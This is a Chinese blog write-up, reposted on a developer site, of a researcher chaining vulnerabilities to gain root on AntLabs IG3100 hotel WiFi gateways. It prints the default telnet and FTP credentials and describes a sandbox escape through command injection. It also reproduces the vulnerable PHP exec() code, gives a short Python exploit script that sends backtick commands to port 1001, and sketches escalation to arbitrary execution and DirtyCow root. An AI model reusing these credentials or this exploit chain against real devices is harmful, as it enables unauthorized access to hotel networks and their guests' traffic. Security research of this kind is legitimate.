内容简介:这几天在新加坡参加 HITB,比起各类料理,更让我感兴趣的是它的酒店 WiFi。去了三家酒店,WiFi 用的都是统一套认证系统,是 AntLabs 的 IG3100 的设备。连接到 WiFi 后会弹出一个地址为 ezxcess.antlabs.com 的认证页面:读了读代码,发现程序存在一个 RCE。这里的 msg 带入到 exec 中,并且直接双引号包裹。那么可以直接用反引号来执行命令。通读了一遍代码后,我发现除了 MySQL 查询语句居然没有其他可控的点。代码如下:
这几天在新加坡参加 HITB,比起各类料理,更让我感兴趣的是它的酒店 WiFi。去了三家酒店,WiFi 用的都是统一套认证系统,是 AntLabs 的 IG3100 的设备。连接到 WiFi 后会弹出一个地址为 ezxcess.antlabs.com 的认证页面: 这个地址一般来说都是解析到 traceroute 第二跳的 IP 段的最后一位地址为 2 的主机上,比如 traceroute 的结果为 10.10.1.1,那么会解析到 10.10.1.2。 秉持着我到一个酒店日一个的精神,我对于这套系统进行了一个深入的测试,最后通过串联了 4 个漏洞拿到系统的 root 权限。
1. Backdoor Accounts
通过 Google,我找到了这个系统测两个默认口令。一个是 telnet 的帐号,帐号密码为 console / admin,另外一个是 ftp 的帐号,帐号密码为 ftponly / antlabs。很幸运,遇到的大部分酒店这两个帐号都没有禁用。
登录进去后,发现帐号在一个受限的 shell 下,看了看 shell 自带的命令,和 Linux 自带的一些命令差不多,甚至可以用一些命令查看到沙盒之外的信息,比如 ps -ef:利用 netstat -l 发现这个系统存在一个 MySQL,但是仅监听在 127.0.0.1。同时还发现了 6000 端口是一个 SSH 服务端口。
利用 SSH,我可以建立一个端口转发,将仅监听在 127.0.0.1 的 3306 端口转发到我的 MacBook 上,然后进行连接操作。
看了看,爆了个 ERROR 2027 (HY000): Malformed packet 的错误,nc 上去看了一下,发现这个服务器的 MySQL 是 MySQL 4.1.2,我真的没见过这么古老的 MySQL 了。虽然我命令行连接不了,但是我还有 Navicat。用 Navicat 连接果然可以,但是问题来了,我不知道 MySQL 的密码是什么。
2. Sandbox Escape
刚才说到,telnet / ssh 连接进去后是在一个受限的 shell 里,那么作为黑客的一个特点就是看到沙盒就手痒。怎么逃逸沙盒,这个需要看 shell 提供了什么功能了。运行 help 看看:
经过一番思考,我发现,这个 shell 除了一些 Linux 的系统命令外,还有一些看起来不是 Linux 自带的命令,比如 sshtun、usage_log、vlandump 等等。这些命令我猜测是一些脚本或者二进制文件写的,来方便管理员进行一些操作。那么既然是开发人员编写的,那么就有可能有漏洞,特别是命令注入漏洞。尝试了几次之后,我成功利用了 vlandump 逃逸了沙盒:
沙盒是逃逸了,但是我还是绝望的发现,我被 chroot 了。chroot 我是绕不过去了,只能翻翻配置文件来寻找乐子。然后我惊喜地在 /etc 目录发现了 MySQL 的密码:
那么有了密码,又能访问端口,我们就可以连接 MySQL 登录数据库了。
3. File Read
在数据库找到了管理员的帐号密码,成功登录。接下来就是拿 shell 的时候了,那么需要对这个系统做个代码审计。
MySQL root 用户的好处就是可以读文件,但是我发现我读 /etc/httpd/conf.d/httpd.conf 居然显示没有权限,又猜不到 Web 的目录,场面一度十分尴尬。
峰回路转,我在 shell 内 ps -ef 的时候发现了一个奇怪的东西:
tcpserver 命令在 1001 启动了个端口,转交给 PHP 来处理。这个东西看起来好搞,利用 load_file 读取后,发现是用 IonCube 加密过的,网上随便找了个平台解了个密,得到代码:
4. Limited RCE
读了读代码,发现程序存在一个 RCE。
function logSyslog($msg)
{
global $ip;
global $buffer;
$msg = trim($msg);
if ($msg != '') {
exec('/usr/bin/logger -p lpr.info -t Acc_Printer -- "Printer ' . $ip . ' ' . $buffer . ' ' . $msg . '"', $out, $ret);
if ($ret == 0) {
return TRUE;
}
}
return FALSE;
}
这里的 msg 带入到 exec 中,并且直接双引号包裹。那么可以直接用反引号来执行命令。通读了一遍代码后,我发现除了 MySQL 查询语句居然没有其他可控的点。代码如下:
function generateAccount($buffer)
{
global $ip;
global $print_previous;
global $timeformat;
global $dateformat;
global $transactionNumberDigit;
global $printer_path;
global $db;
$copy_label = '';
if ($buffer != $print_previous) {
$query = 'SELECT * FROM ant_services.Acc_Printer_Button JOIN ant_services.Acc_Printer ON Acc_Printer_Button.printer_id=Acc_Printer.printer_id WHERE button_code=\'' . mysql_real_escape_string($buffer) . '\' AND printer_ip=\'' . mysql_real_escape_string($ip) . '\'';
$rsbutton = $db->query($query);
if (!($button = $rsbutton->fetch())) {
logSyslog('failed to read button configuration from database. QUERY = ' . $query);
return FALSE;
}
往上追溯一下调用这个函数的地方,我发现了更绝望的事情:
if (trim($buffer) == '(') {
$buffer .= fread(STDIN, 14);
if (!strstr($print_previous, $buffer)) {
generateAccount($buffer);
}
我们只有 14 个字节的可控点,去掉首尾的反引号后还有 12 位。这太他妈 CTF 了吧。
另外还有一个限制:
while (true) {
unset($printer_details);
clearstatcache();
if (!($res = $db->query('SELECT * FROM ant_services.Acc_Printer WHERE printer_ip=\'' . mysql_real_escape_string($ip) . '\' AND status=\'enable\''))) {
logSyslog('failed to query database to get printer details');
exit(1);
}
if ($res->rowCount() == '0') {
logSyslog('is not found in registered printer list database ');
exit(1);
}
我想执行命令的话,需要是在 ant_services.Acc_Printer 能查到我的 IP 的,不过对于拥有数据库权限的我们来说,不是什么大问题。
写了个脚本方便执行:
import zio, sys
io = zio.zio(('192.168.10.2', 1001))
io.write('(`%s`)' % sys.argv[1])
不知道大家还记得之前提过有一个 FTP 的事情吗?我发现执行命令的结果会写在 FTP 下面的 log/acc/acc.log,这也算是意外之喜了。
5. Unlimited RCE
12 个字节怎么想怎么难受,但是想了想,我们有 MySQL,能写文件。如果把要执行的命令写到 /tmp 目录下,接着利用 bash /tmp/a 执行,只需要 11 个字节,那么就非常顺利的将受限的命令执行转化为任意命令执行了。
6. DirtyCows
没啥好说的了,这个 CentOS 4 的版本,随便提权啦。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Algorithms on Strings, Trees and Sequences
Dan Gusfield / Cambridge University Press / 1997-5-28 / USD 99.99
String algorithms are a traditional area of study in computer science. In recent years their importance has grown dramatically with the huge increase of electronically stored text and of molecular seq......一起来看看 《Algorithms on Strings, Trees and Sequences》 这本书的介绍吧!